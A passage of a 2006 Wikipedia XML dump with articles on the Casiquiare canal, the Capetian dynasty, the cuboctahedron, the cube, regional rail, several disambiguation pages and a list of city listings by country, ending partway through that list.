In [[1744]] the [[Jesuits|Jesuit]] [[Father Roman]], while ascending the [[Orinoco River|Orinoco]] river, met some [[Portugal|Portuguese]] slave-traders from the settlements on the [[Rio Negro]]. He accompanied them on their return, by way of the Casiquiare canal, and afterwards retraced his route to the Orinoco. [[Charles Marie de La Condamine|La Condamine]], seven months later, was able to give to the [[Académie française]] an account of Father Roman's extraordinary voyage, and thus confirm the existence of this wonderful waterway first reported by [[Christoval de Acuna|Father Acuna]] in [[1639]].

But little credence was given to Father Roman's statement until it was verified, in [[1756]], by the [[Spain|Spanish]] Boundary-line Commission of [[Yturriaga]] and [[Solano]]. In [[1800]] German scientist [[Alexander von Humboldt]] and French botanist [[Aimé Bonpland]] explored the river.

==Geography==

The actual elevation of the canal above sea-level is not known, but is of primary importance to the study of the [[hydrography]] of [[South America]]. Travellers in general give it at from 400 to 900 feet, but, after much study of the question of altitudes throughout South America, the writer believes that it does not exceed 300 feet. The canal connects the upper Orinoco, 9 miles below the mission of Esmeraldas, with the Rio Negro affluent of the [[Amazon River]] near the town of [[San Carlos, Ecuador|San Carlos]].

The general course is south-west, and its length, including windings, is about 200 miles. Its width, at its [[bifurcation]] with the Orinoco, is approximately 300 feet, with a current towards the Negro of three-quarters of a mile an hour; but as it gains in volume from the very numerous [[tributary]] streams, large and small, which it receives en route, its velocity increases, and in the wet season reaches 5 and even 8 miles an hour in certain stretches. It broadens considerably as it approaches its mouth, where it is about 1750 feet in width. It will thus be seen that the volume of water it captures from the Orinoco is small in comparison to what it accumulates in its course.

In [[flood]]-time it is said to have a second connection with the Rio Negro by a branch which it throws off to the westward called the [[Itinivini]], which leaves it at a point about 50 miles above its mouth. In the dry season it has shallows, and is obstructed by sandbanks, a few rapids and granite rocks. Its shores are densely wooded, and the soil more fertile than that along the Rio Negro. The general slope of the plains through which the canal runs is south-west, but those of the Rio Negro slope south-east. The whole line of
the Casiquiare is infested with myriads of tormenting insects. 

It is thus seen that this marvellous freak of nature is not, as is generally supposed, a sluggish canal on a flat tableland, but a great, rapid river which, if its upper waters had not found contact with the Orinoco, perhaps by cutting back, would belong entirely to the Negro branch of the Amazon.

To the west of the Casiquiare there is a much shorter and more facile connexion between the Orinoco and Amazon basins, called the isthmus of [[Pimichin]], which is reached by ascending the [[Terni]] branch of the [[Atabapo]] affluent of the Orinoco. Although the Terni is somewhat obstructed, it is believed that it could easily be made navigable for small craft. The isthmus is 10 miles across, with undulating ground, nowhere over 50 feet high, with swamps and marshes. It is much used for the transit of large canoes, which are hauled across it from the Terni river, and which reach the Negro by the little stream called the Pimichin.



==References==
*{{1911}}

==External links==
* [http://members.aol.com/ChrisChrz/humboldt.html Alexander von Humboldt and the Casiquiare River]

[[Category:Amazon river tributaries]]

[[de:Brazo Casiquiare]]
[[et:Casiquiare jõgi]]
[[eo:Kasikiaro]]
[[fr:Canal de Casiquiare]]
[[lt:Kasikjarės kanalas]]
[[pl:Casiquiare]]</text>
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    <title>Complete normed vector space</title>
    <id>6278</id>
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      <id>15904432</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Banach space]]
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  <page>
    <title>Capetian</title>
    <id>6279</id>
    <revision>
      <id>40047829</id>
      <timestamp>2006-02-17T19:26:04Z</timestamp>
      <contributor>
        <username>KuatofKDY</username>
        <id>24024</id>
      </contributor>
      <comment>added capet headline</comment>
      <text xml:space="preserve">{{History of France}}

''For full history of Capetian family, see '''[[Capet]]'''''.

The '''direct Capetian Dynasty''' followed the [[Carolingian]] rulers of [[France]] from [[987]] to [[1328]]. From [[1328]] to [[1830]], with the interruption of the [[French Revolution|revolution]], France was ruled by kings from the [[Valois Dynasty|Valois]] and [[House of Bourbon|Bourbon]], [[Cadet]] branches of the dynasty.

==List of Capetian kings of France==

* [[987]]&amp;ndash;[[996]], [[Hugh Capet]], Count of Paris, crowned King of France
* [[996]]&amp;ndash;[[1031]], [[Robert II of France|Robert II]], the Pious
* [[1031]]&amp;ndash;[[1060]], [[Henry I of France|Henri I]]
* [[1060]]&amp;ndash;[[1108]], [[Philip I of France|Philippe I]]
* [[1108]]&amp;ndash;[[1137]], [[Louis VI of France|Louis VI]], the Fat 
* [[1137]]&amp;ndash;[[1180]], [[Louis VII of France|Louis VII]]
* [[1180]]&amp;ndash;[[1223]], [[Philip II of France|Philippe II Auguste]]
* [[1223]]&amp;ndash;[[1226]], [[Louis VIII of France|Louis VIII]]
* [[1226]]&amp;ndash;[[1270]], [[Louis IX of France|Louis IX]] (Saint Louis) 
* [[1270]]&amp;ndash;[[1285]], [[Philip III of France|Philippe III]] the Bold
* [[1285]]&amp;ndash;[[1314]], [[Philip IV of France|Philippe IV]] the Fair 
* [[1314]]&amp;ndash;[[1316]], [[Louis X of France|Louis X]]
* [[1316]]&amp;ndash;[[1316]], [[John I of France|Jean I]]
* [[1316]]&amp;ndash;[[1322]], [[Philip V of France|Philippe V]]
* [[1322]]&amp;ndash;[[1328]], [[Charles IV of France|Charles IV]]

==See also==
* [[List of French monarchs]]
* [[Kings of France family tree]]
* [[France in the Middle Ages]]

[[Category:Royal families|Capetian]]
[[Category:History of France]]

{{France-hist-stub}}

[[cs:Kapetovci]]
[[de:Kapetinger]]
[[et:Kapetingid]]
[[es:Dinastía de los Capetos]]
[[fr:Capétiens]]
[[ko:카페 왕조]]
[[id:Kapetia]]
[[lb:Kapetinger]]
[[nl:Huis Capet]]
[[ja:カペー朝]]
[[pl:Dynastia Kapetyngów]]
[[pt:Dinastia Capetiana]]
[[ru:Капетинги]]
[[sv:Capetinger]]
[[zh:卡佩王朝]]</text>
    </revision>
  </page>
  <page>
    <title>Cuboctahedron</title>
    <id>6280</id>
    <revision>
      <id>38672197</id>
      <timestamp>2006-02-07T22:03:24Z</timestamp>
      <contributor>
        <username>Tomruen</username>
        <id>63601</id>
      </contributor>
      <comment>compare - add full sequence cube-&gt;octahedron</comment>
      <text xml:space="preserve">{{Infobox Polyhedron_with_vertfig |
  Image_File=cuboctahedron.jpg |
  Polyhedron_Type=[[Archimedean solid|Archimedean]] |
  Face_List=8 [[triangle]]s&lt;br&gt;6 [[square (geometry)|square]]s |
  Edge_Count=24|
  Vertex_Count=12|
  Euler_characteristic=2|
  Wythoff_Symbol=2 &amp;#124; 3 4|
  Symmetry_Group=octahedral (''O''&lt;sub&gt;''h''&lt;/sub&gt;)|
  Vertex_List=3.4.3.4|
  Dual=[[rhombic dodecahedron]]|
  Property_List=[[convex]], quasi-regular (vertex/edge uniform) |
  VertexImage_File=cuboctahedron_vertfig.png
}}
A '''cuboctahedron''' is a [[polyhedron]] with eight triangular faces and six square faces.  A cuboctahedron has 12 identical vertices, with two triangles and two squares meeting at each, and 24 identical edges, each separating a triangle from a square.  As such it is a quasi-regular polyhedron, i.e. an  [[Archimedean solid]] (vertex-uniform) with in addition edge-uniformity.
__TOC__
[[Image:cuboctahedron flat.png]]

== Cartesian coordinates ==
The [[Cartesian coordinates]] for the vertices of a cuboctahedron centered at the origin are
: (&amp;plusmn;1,&amp;plusmn;1,0)
: (&amp;plusmn;1,0,&amp;plusmn;1)
: (0,&amp;plusmn;1,&amp;plusmn;1)

Its [[dual polyhedron]] is the [[rhombic dodecahedron]].

== Geometric relations ==
[[Image:Kuboctaeder-Animation.gif|left]] 

A cuboctahedron has octahedral symmetry, and its first [[stellation]] is the [[polyhedral compound|compound]] of a [[cube (geometry)|cube]] and its dual [[octahedron]], with the vertices of the cuboctahedron located at the midpoints of the edges of either. 

The cuboctahedron is the first in an infinite set of [[Bicupola (geometry)|gyrobicupolae]] and can also be called a 'triangular gyrobicupola'.

Cuboctahedra are important in [[sphere packing]].  Each [[sphere]] can have up to twelve neighbors, and in a face-centered cubic lattice these take the positions of a cuboctahedron's vertices.  In a [[hexagon]]al close packed lattice they correspond to the corners of an anticuboctahedron, formed by twisting a cuboctahedron about one of the four equatorial planes that intersect six vertices.  The two halves that each of these planes split the cuboctahedron into are called [[triangular cupola]]e, so the anticuboctahedron is also called a [[triangular orthobicupola]].  Each of these are [[Johnson solid]]s.

There are distortions of the cuboctahedron with tetrahedral symmetry that, while no longer edge uniform, are still vertex uniform.  These are analogous to the [[rhombicuboctahedron]] and [[rhombicosidodecahedron]], and can be made by cutting the edges off a [[tetrahedron]] and trimming the resulting hexagonal faces.  Cuboctahedra and octahedra together make up one of the [[Andreini tessellation|Andreini tessellations]].

Using a standard nomenclature used for Johnson solids, the cuboctahedron can be called a ''Triangular gyrobicupola''.

[[Buckminster Fuller]] applied the name &quot;[[Dymaxion]]&quot; to this shape.

The volume of the cuboctahedron is 5/6 of that of the enclosing cube and 5/8 of that of the enclosing octahedron; it is 5/3 &amp;radic;2 times the cube of the length of an edge.

==Related polyhedra==
The cuboctahedron is a [[Rectification (geometry)|rectified]] [[cube]] and also a rectified [[octahedron]].

Compare:

[[image:hexahedron.jpg|thumb|left|100px|[[Cube]]]][[image:truncatedhexahedron.jpg|thumb|left|100px|[[Truncated cube]]]][[image:cuboctahedron.jpg|thumb|left|100px|cuboctahedron]]
[[image:truncatedoctahedron.jpg|thumb|left|100px|[[Truncated octahedron]]]]
[[image:octahedron.jpg|thumb|left|100px|[[Octahedron]]]]

{{-}}

== See also ==

* [[:Image:Kuboctaeder-Animation.gif|Animation of rotating cuboctahedron]]
* [[Cube]]
* [[Icosidodecahedron]]
* [[Octahedron]]
* [[Rhombicuboctahedron]]
* [[Truncated cuboctahedron]]

== External links ==

* [http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
* [http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra

[[Category:Archimedean solids]]
[[Category:Quasiregular polyhedra]]

[[de:Kuboktaeder]]
[[es:Cuboctaedro]]
[[nl:Kuboctaëder]]
[[ja:立方八面体]]
[[pt:Cuboctaedro]]
[[zh:截半立方體]]</text>
    </revision>
  </page>
  <page>
    <title>Canton</title>
    <id>6281</id>
    <revision>
      <id>42104317</id>
      <timestamp>2006-03-03T21:27:45Z</timestamp>
      <contributor>
        <username>Qmwne235</username>
        <id>732701</id>
      </contributor>
      <minor />
      <comment>deleted canton michigan-canton township exists</comment>
      <text xml:space="preserve">'''Canton''' or '''canton''' may refer to:

*[[canton (subnational entity)]],  a territorial subdivision of a country 
* the upper left (hoist) quarter of a flag, see [[flag terminology]]&lt;!--[[canton (flag)]] redirects there--&gt;
*[[Canton (heraldry)]], a subordinary occupying the (shield holder's) upper right-hand ninth of the field
*[[Canton (liqueur)]], a ginger-flavored liqueur produced in the Guangdong province of China
*[[Canton Iron Works]] built by [[Peter Cooper]] in Baltimore.

Places in China:
* [[Canton, Canton, China]], a city in China, see '''[[Guangzhou]]'''
* [[Canton (province), China]], a province in China, see '''[[Guangdong]]'''

Places in the United States:
* [[Canton, Connecticut]], USA.
* [[Canton, Georgia]], USA.
* [[Canton, Illinois]], USA.
* [[Canton, Baltimore | Canton]] neighborhood and park in [[Baltimore, Maryland]], USA.
* [[Canton, Massachusetts]], USA.
* [[Canton, Mississippi]], USA.
* [[Canton, Missouri]], USA.
* [[Canton, New York]]
**  [[Canton (village), New York |Village of Canton, New York]], USA. 
**  [[Canton (town), New York |Town of Canton, New York]], USA.
* [[Canton, North Carolina]], USA.
* [[Canton, Ohio]], USA.
* [[Canton, Oklahoma]], USA.
* [[Canton, Pennsylvania]], USA.
* [[Canton, South Dakota]], USA.
* [[Canton Township, Michigan]], USA.
* [[Canton Township, Pennsylvania]], USA.

Other places:
* [[Canton, Cardiff]], a district of the Welsh capital.
* Canton Island, part of [[Canton and Enderbury Islands]], see [[Kanton Island]].
{{disambig}}

&lt;!--Interlanguage links--&gt;

[[bs:Kanton]]
[[de:Kanton]]
[[fr:Canton]]
[[nl:Kanton]]
[[nb:Kanton]]
[[nn:Kanton]]
[[ru:Кантон]]
[[tt:Kanton]]</text>
    </revision>
  </page>
  <page>
    <title>Class</title>
    <id>6282</id>
    <revision>
      <id>41936825</id>
      <timestamp>2006-03-02T19:17:41Z</timestamp>
      <contributor>
        <username>MaxSem</username>
        <id>590476</id>
      </contributor>
      <minor />
      <comment>+ru:</comment>
      <text xml:space="preserve">'''Class''' may refer to:
*[[Appliance classes]], in the electric appliance manufacturing industry.
*[[Character class]], in role-playing games.
*[[Class (biology)]], a rank used in taxonomy.
*[[Class (computer science)]], related to object-oriented programming.
*[[Class (education)]], a group of students attending a specific course or lesson, or short for a classroom.
*[[Class (film)|''Class'' (film)]], a movie released in 1983.
*[[Class (philosophy)]], distinguishes between classes and types.
*[[One-design|Class (sailing)]], where boats of identical construction race against each other. 
*[[Class (set theory)]], in mathematics.
*[[Class (warez)]], in the warez scene.
*[[Classes of US Senators]].
*[[Social class]], in sociology and economics.

'''Class''' is a synonym of:
*[[lesson]], in education.

'''Class''' is also:
*In [[navy]], a set of vessels that share essentially the same design. See [[ship class]], [[starship class]].
*An [[HTML]] language attribute.

{{disambig}}
[[Category:Mathematical disambiguation]]

[[cs:Třída]]
[[de:Klasse]]
[[es:Clase]]
[[gl:Clase]]
[[ja:クラス]]
[[lt:Klasė]]
[[nl:Klasse]]
[[pl:Klasa]]
[[ru:Класс]]
[[zh:类]]</text>
    </revision>
  </page>
  <page>
    <title>Critical point</title>
    <id>6283</id>
    <revision>
      <id>37352080</id>
      <timestamp>2006-01-30T12:42:25Z</timestamp>
      <contributor>
        <username>Kku</username>
        <id>5846</id>
      </contributor>
      <comment>the artificical distinction between chem and phys is crap. either thermodynamics or physical chemistry.</comment>
      <text xml:space="preserve">The term '''critical point''' can mean any of:
* [[critical point (thermodynamics)]]
* [[critical point (mathematics)]]

{{disambig}}

[[de:Kritischer Punkt]]
[[nl:Kritische punt]]
[[ja:&amp;#33256;&amp;#30028;&amp;#28857;]]
[[pl:Punkt krytyczny]]
[[sl:Kriti&amp;#269;na to&amp;#269;ka]]
[[sv:Kritisk punkt]]</text>
    </revision>
  </page>
  <page>
    <title>Cube</title>
    <id>6285</id>
    <revision>
      <id>42163272</id>
      <timestamp>2006-03-04T06:03:54Z</timestamp>
      <contributor>
        <username>Tomruen</username>
        <id>63601</id>
      </contributor>
      <comment>Reg polyhedra db</comment>
      <text xml:space="preserve">:''This article is about the geometric shape. For other meanings of the word &quot;cube&quot;, see [[cube (disambiguation)]].''
{{Reg polyhedra db|Platonic polyhedron stat table|C}}

A '''cube''' {{ref|etym}} (or '''regular [[hexahedron]]''') is a [[dimension|three-dimensional]] [[Platonic solid]] composed of six [[square (geometry)|square]] faces, with three meeting at each vertex. The cube is a special kind of square [[prism (geometry)|prism]], of rectangular [[parallelepiped]] and of 3-sided [[trapezohedron]], and is [[dual polyhedron|dual]] to the [[octahedron]]. Thus it has [[octahedral symmetry]].
__TOC__

== Cartesian coordinates ==
[[Cartesian coordinates]] for the vertices of a cube centered at the origin and edge length 2 are
: (±1,±1,±1)
while the interior of the same consists of all points (x&lt;sub&gt;0&lt;/sub&gt;, x&lt;sub&gt;1&lt;/sub&gt;, x&lt;sub&gt;2&lt;/sub&gt;) with -1 &lt; x&lt;sub&gt;i&lt;/sub&gt; &lt; 1.

== Area and volume ==
The [[area (mathematics)|area]] ''A'' and [[volume]] ''V'' of a cube of edge length ''a'' are:
:&lt;math&gt;A=6a^2&lt;/math&gt;
:&lt;math&gt;V=a^3&lt;/math&gt;

A cube construction has the largest volume among [[cuboid]]s (rectangular boxes) with a given [[surface area]] (e.g., paper, cardboard, sheet metal, etc.). Also, a cube has the largest volume  among cuboids with the same total linear size (length + width + height).

== Geometric relations ==
The cube is unique among the Platonic solids for being able to tile space regularly. It is also unique among the Platonic solids in having faces with an even number of sides and, consequently, it is the only member of that group that is a [[zonohedron]].

[[image:hexahedron flat.png|thumb|100px|left|A [[Net (polyhedron)|net]] of a cube]]
[[Image:Dice.jpg|left|thumb|150px|The familiar six-sided [[dice|die]] is cube shaped]]
{{-}}

== Higher dimensions ==
[[Image:Expo_67_cubes_in_a_room.jpg|thumb|450|Room of cubes at Expo 67]]

In the four-dimensional [[Euclidean space]], the analogue of a cube has a special name &amp;mdash; a [[tesseract]] or [[hypercube]].

The analog of the cube in the ''n''-dimensional Euclidean space is called '''''n''-dimensional cube''', or simply '''cube''', if it does not lead to a confusion. The name [[measure polytope]] is also used.

==Related polyhedra==

The vertices of a cube can be grouped into two groups of four, each forming a regular [[tetrahedron]]. These two together form a regular [[polyhedral compound|compound]], the [[stella octangula]]. The intersection of the two forms a regular [[octahedron]]. The symmetries of a regular tetrahedron correspond to those of a cube which map each  tetrahedron to itself; the other symmetries of the cube map the two to each other.

One such regular tetrahedron has a volume of 1/3 of that of the cube. The remaining space consists of four equal irregular polyhedra with a volume of 1/6 of that of the cube, each.

The [[Rectification (geometry)|rectified]] cube is the [[cuboctahedron]]. If smaller corners are cut off we get a polyhedron with 6 [[octagon]]al faces and 8 triangular ones. In particular we can get regular octagons ([[truncated cube]]). The [[rhombicuboctahedron]] is obtained by cutting off both corners and edges to the correct amount.

A cube can be inscribed in a [[dodecahedron]] so that each vertex of the cube is a vertex of the dodecahedron and each edge is a diagonal of one of the dodecahedron's faces; taking all such cubes gives rise to the regular [[polyhedral compound|compound]] of five cubes.
[[Image:Stella octangula.png|thumb|150px|left|The tetrahedra in the cube ([[stella octangula]])]]
[[Image:Cuboctahedron.jpg|thumb|170px|left|The [[Rectification (geometry)|rectified]] cube ([[cuboctahedron]])]]
[[Image:Truncatedhexahedron.jpg|thumb|150px|left|[[Truncated cube]]]]
[[Image:Rhombicuboctahedron.jpg|thumb|150px|left|[[Rhombicuboctahedron]]]]
{{-}}
The figures shown have the same symmetries as the cube (see [[octahedral symmetry]]).
==Note==
#{{note|etym}} English ''cube'' from Old French &lt; Latin ''cubus''&lt; Greek ''kubos'', &quot;a cube, a die, vertebra&quot;. In turn from [[PIE]] ''*keu(b)-'', &quot;to bend, turn&quot;.

==See also==
*[[Unit cube]]

==External links==
*[http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
*[http://www.mathsisfun.com/geometry/hexahedron.html Spinning Hexahedron]
*[http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra]
*[http://www.korthalsaltes.com/ Paper Models of Polyhedra] 

[[Category:Platonic solids]]
[[Category:Polyhedra]]
[[Category:Prismatoid polyhedra]]
[[Category:Volume]]
[[Category:Zonohedra]]

[[ar:مكعب]]
[[ca:Cub]]
[[da:Terning]]
[[de:Würfel (Geometrie)]]
[[et:Kuup]]
[[es:Hexaedro]]
[[eo:Kubo (geometrio)]]
[[fr:Cube]]
[[ko:정육면체]]
[[he:קובייה]]
[[nl:Kubus]]
[[ja:正六面体]]
[[no:Terning]]
[[pl:Sześcian (geometria)]]
[[ru:Куб]]
[[simple:Cube]]
[[sl:Kocka]]
[[sv:Kub (geometri)]]
[[vi:Hình khối]]
[[zh:立方體]]</text>
    </revision>
  </page>
  <page>
    <title>Regional rail</title>
    <id>6286</id>
    <revision>
      <id>41458932</id>
      <timestamp>2006-02-27T13:57:28Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: nl</comment>
      <text xml:space="preserve">:''For a treatment specific to [[North America]], see [[Commuter rail in North America]].''
[[Image:Connex Train Melbourne.jpg|thumb|250px|A [[Connex]] commuter train stands at a platform in [[Melbourne]], [[Australia]].]]
'''Regional rail''' or '''commuter rail''' usually provide a [[rail transport|rail service]] between a [[central business district]] and [[suburbs]] or other locations that draw large numbers of people on a daily basis. The [[train]]s providing such services may be termed '''commuter trains'''. The development of commuter rail services has become popular today, with the increased public awareness of congestion, dependence on fossil fuels, and other environmental issues, as well as the rising costs of owning and operating automobiles.

==Characteristics==
Commuter trains are usually optimized for maximum passenger volume, in most cases without sacrificing too much comfort and [[luggage]] space, though they seldom have all the amenities of long-distance trains. The general range of commuter trains varies between 15 and 180 km (9 and 111 miles), with operating speeds from 55 to 175 km/h (30 to 110 mph). Passenger coaches are either single- or [[double-level]], with a capacity of 80 - 110 passengers for single-level cars and 145 - 170 for double-level cars.

==Defining aspects==
In general, commuter trains are built to ''heavy rail'' standards, differing from [[light rail]] or [[rapid transit]] systems by:
*being larger; 
*having (in most cases) a lower frequency of service;
*having scheduled services (i.e. trains run at specific hours rather than at specific intervals); 
*serving lower-density areas, typically by connecting suburbs to the city centre;
*sharing track or [[Right-of-way (railroad)|right-of-way]] with intercity or [[freight]] trains

Their ability to coexist with freight or intercity services in the same [[Right-of-way (railroad)|right-of-way]] can drastically reduce system construction costs. However, frequently they are built with dedicated tracks within that right-of-way to prevent delays.

Generally such trains run on the local [[standard gauge]] track. Some broader [[Rail gauge|gauge]]s include 1520/1524 mm ([[Russia]] and countries of the former [[Russian Empire]]), 1600 mm ([[Ireland]], [[Brazil]], and parts of [[Australia]]), 1668 mm ([[Spain]] and [[Portugal]]), 1676 mm ([[Pakistan]], [[India]], and [[Argentina]]). Light rail systems may run on a narrower gauge. [[Narrow gauge]] trains generally run on either 1067 mm (3 ft 6 in) track or on metre gauge (39.37 inches). Examples of narrow-gauge systems are found in [[Japan]], [[Switzerland]] and [[India]], and in the [[Brisbane]] ([[CityTrain]]) and [[Perth, Western Australia|Perth]] systems in [[Australia]]. Ireland uses standard gauge as a &quot;narrow gauge&quot; for its [[Luas]] tram system. The world's largest commuter railway, the [[East Japan Railway Company]], uses [[narrow gauge]] track for all commuter trains. 

In some cases, hybrids between a train and a [[metro]] have been created. They run underground in the dense city centres and on ordinary outdoor tracks in lower-density areas. Examples include the [[Madrid]] [[Cercanias|Cercanías]] network, in [[Dublin]] the [[Dublin Area Rapid Transit]], the [[Paris]] [[RER]], lines 6-8 of the [[Barcelona Metro]], the [[S-Bahn]] systems of [[Berlin]], [[Hamburg]], [[Frankfurt]], [[Munich]], [[Stuttgart]], and [[Zürich]], the suburban railway ([[HÉV]]) in [[Budapest]], [[MetroValparaíso]] in [[Valparaíso]] ([[Chile]]) and the rail systems of [[Sydney]] ([[CityRail]]) and [[Melbourne]].  In [[Hong Kong]], [[East Rail]] provides a [[metro]]-like service in terms of capacity of its cars (over 300 each), more standees and few seats, and high frequencies, except sharing some of its track with inter-city service.

In some European countries the distinction between commuter trains and long-distance / intercity trains is very hard to make, because of the relatively short distances involved. For example, so called &quot;intercity&quot; trains in [[Belgium]] and [[the Netherlands]] carry many commuters and their equipment, range and speeds are similar to those of commuter trains in some larger countries.

In the United States and Canada, regional passenger rail service is performed by [[commuter railroads]], which are usually governmental or quasi-governmental agencies.

==Traffic types==
Commonly they are based on [[diesel multiple units]] (DMUs), which are self-propelled, bidirectional, articulated passenger rail cars with [[diesel engines]], electric [[generator (device)|generator]]s and [[electric motor]]s located below the passenger compartment (strictly speaking, these are diesel-electric multiple units, or DEMUs). In some areas with electrified rail, most notably Japan, [[electric multiple units]] (EMUs) are used. Electric and diesel-powered [[multiple unit]]s are almost invariably equipped with control cabs at both ends, which is why such units are so frequently used to provide commuter services, due to the associated short turn-around time.

Locomotive hauled services are used in some countries or locations. This is often a case of [[asset sweating]], by using a single large combined fleet for intercity and regional services. Loco hauled services are usually run in [[push-pull]] formation, that is, the train can run with the locomotive at the &quot;front&quot; or &quot;rear&quot; of the train (pushing or pulling). Trains are often equipped with a &quot;driving van trailer&quot; (DVT), a control cab at the other end of the train from the locomotive, allowing the train driver to operate the train from either end. The motive power for locomotive-hauled commuter trains may be either electric or [[diesel]]-electric, although some countries, such as Germany and some of the former Soviet-bloc countries, also use diesel-hydraulic locomotives.

== Seat plans ==
Since regional rail rides are usually within one or two hours, their designers may use every conceivable methods to cram as many passengers as possible. One frequently used seat plan is two rows of facing benches on the right and left sides of the train. This arrangement is uncomfortable and sometimes dangerous. However, it leaves much room for people who stand in the center.

In the U.S. and other countries, a three-and-two seat plan is also used. However, most passengers prefer not to use the middle seat if all other seats are taken. Therefore, people may stand in the passageway rather than taking the middle seat. It is said one industrial designer for [[Transportation in New York City|New York City's]] commuter rail, [[Metro-North Railroad|Metro-North]], told people: &quot;I designed the aisle seat with a half-back and no upholstery, so it will be very uncomfortable to sit there. They'll move in and take the center seat!&quot;[http://www.nytimes.com/2005/06/06/opinion/l06train.html]

==See also==
*[[Commuter rail in North America]]
*[[List of suburban and commuter rail systems]]
*[[Rail terminology]] 
*Passenger rail [[Passenger rail terminology|Terminology]]
*[[Public transport]]
*Terrorist attacks on railway systems
**[[Sarin gas attack on the Tokyo subway]] March 11
**[[1995 Islamist terror bombings in France]] July August and October
**[[March 11, 2004 Madrid attacks]]
**[[7 July 2005 London bombings]]

== External links ==
* [http://www.nytimes.com/2005/05/31/nyregion/31seat.html For Train Riders, Middle Seat Isn't the Center of Attention]

[[Category:Rail transport]]
[[Category:Regional rail systems|*]]

[[de:Regionalbahn]]
[[fr:Train de banlieue]]
[[he:רכבת פרברית]]
[[nl:Stoptrein]]
[[ja:通勤形電車]]
[[sl:Regionalna železnica]]
[[sv:Regiontåg]]
[[zh:區域鐵路]]</text>
    </revision>
  </page>
  <page>
    <title>List of city listings by country</title>
    <id>6287</id>
    <revision>
      <id>39699973</id>
      <timestamp>2006-02-15T05:58:36Z</timestamp>
      <contributor>
        <username>JFG</username>
        <id>168812</id>
      </contributor>
      <minor />
      <comment>Corrected link to [[British overseas territories]]</comment>
      <text xml:space="preserve">This is the list of [[city]] listings by [[country]] and [[territory]]:

&lt;table border=0&gt;&lt;tr valign=top&gt;&lt;td width=200&gt;
*[[List of cities in Afghanistan|Afghanistan]]
*[[List of cities in Albania|Albania]]
*[[List of cities in Algeria|Algeria]]
*[[List of cities in Andorra|Andorra]]
*[[List of cities in Angola|Angola]]
*[[List of cities in Antigua and Barbuda|Antigua and Barbuda]]
*[[List of cities in Argentina|Argentina]]
*[[List of cities in Armenia|Armenia]]
*[[List of cities in Australia|Australia]]
*[[List of cities in Austria|Austria]]
*[[List of cities in Azerbaijan|Azerbaijan]]
*[[List of cities in Bahamas|Bahamas]]
*[[List of cities in Bahrain|Bahrain]]
*[[List of cities in Bangladesh|Bangladesh]]
*[[List of cities in Barbados|Barbados]]
*[[List of cities in Belarus|Belarus]]
*[[List of cities in Belgium|Belgium]]
*[[List of cities in Belize|Belize]]
*[[List of cities in Benin|Benin]]
*[[List of cities in Bhutan|Bhutan]]
*[[List of cities in Bolivia|Bolivia]]
*[[List of cities in Bosnia and Herzegovina|Bosnia and Herzegovina]]
*[[List of cities in Botswana|Botswana]]
*[[List of cities in Brazil|Brazil]]
*[[List of cities in Brunei|Brunei]]
*[[List of cities in Bulgaria|Bulgaria]]
*[[List of cities in Burkina Faso|Burkina Faso]]
*[[List of cities in Burundi|Burundi]]
*[[List of cities in Cambodia|Cambodia]]
*[[List of cities in Cameroon|Cameroon]]
*[[List of cities in Canada|Canada]]
*[[List of cities in Cape Verde|Cape Verde]]
*[[List of cities in the Central African Republic|Central African Republic, The]]
*[[List of cities in Chad|Chad]]
*[[List of cities in Chile|Chile]]
*[[List of cities in the People's Republic of China|China, People's Republic of]]
**[[List of cities and towns in Hong Kong|Hong Kong]]
**[[List of cities and parishes in Macao|Macau]]
*[[List of cities in Taiwan|China, Republic of]]
*[[List of cities in Colombia|Colombia]]
*[[List of cities in the Comoros|Comoros]]
*[[List of cities in the Democratic Republic of the Congo|Congo, Democratic Republic of the]]
*[[List of cities in the Republic of the Congo|Congo, Republic of the]]
*[[List of cities in Costa Rica|Costa Rica]]
*[[List of cities in Côte d'Ivoire|Côte d'Ivoire]]
*[[List of cities in Croatia|Croatia]]
*[[List of cities in Cuba|Cuba]]
*[[List of cities in Cyprus|Cyprus]]
*[[List of cities in the Czech Republic|Czech Republic, The]]
*[[List of cities in Denmark|Denmark]]
**[[List of towns in Greenland|Greenland]]
*[[List of cities in Djibouti|Djibouti]]
*[[List of cities in Dominica|Dominica]]
*[[List of cities in the Dominican Republic|Dominican Republic, The]]
*[[List of cities in East Timor|East Timor (Timor Leste)]]
*[[List of cities in Ecuador|Ecuador]]
*[[List of cities in Egypt|Egypt]]
*[[List of cities in El Salvador|El Salvador]]
*[[List of cities in Equatorial Guinea|Equatorial Guinea]]
*[[List of cities in Eritrea|Eritrea]]
*[[List of cities in Estonia|Estonia]]
*[[List of cities in Ethiopia|Ethiopia]]
*[[List of cities and towns in Fiji|Fiji]]
*[[List of cities in Finland|Finland]]
*[[List of cities in France|France]]
**[[List of cities in French Guiana]]
*[[List of cities in Gabon|Gabon]]
*[[List of cities in Gambia|Gambia, The]]
*Gaza Strip&lt;br /&gt;- ''see'' [[List of cities in the West Bank and Gaza Strip|West Bank and the Gaza Strip]]
*[[List of cities in Georgia|Georgia]]
&lt;td width=200&gt;
*[[List of cities in Germany|Germany]]
*[[List of cities in Ghana|Ghana]]
*[[List of cities in Greece|Greece]]
*[[List of cities in Grenada|Grenada]]
*[[List of cities in Guatemala|Guatemala]]
*[[List of cities in Guinea|Guinea]]
*[[List of cities in Guinea-Bissau|Guinea-Bissau]]
*[[List of cities in Guyana|Guyana]]
*[[List of cities in Haiti|Haiti]]
*[[List of cities in Honduras|Honduras]]
*[[List of cities in Hungary|Hungary]]
*[[List of cities in Iceland|Iceland]]
*[[List of cities in India|India]]
*[[List of cities in Indonesia|Indonesia]]
*[[List of cities in Iran|Iran]]
*[[List of cities in Iraq|Iraq]]
*[[List of cities in Ireland|Ireland]]
*[[List of cities in Israel|Israel]]
*[[List of cities in Italy|Italy]]
*[[List of cities in Jamaica|Jamaica]]
*[[List of cities in Japan|Japan]]
*[[List of cities in Jordan|Jordan]]
*[[List of cities in Kazakhstan|Kazakhstan]]
*[[List of cities in Kenya|Kenya]]
*[[List of cities in Kiribati|Kiribati]]
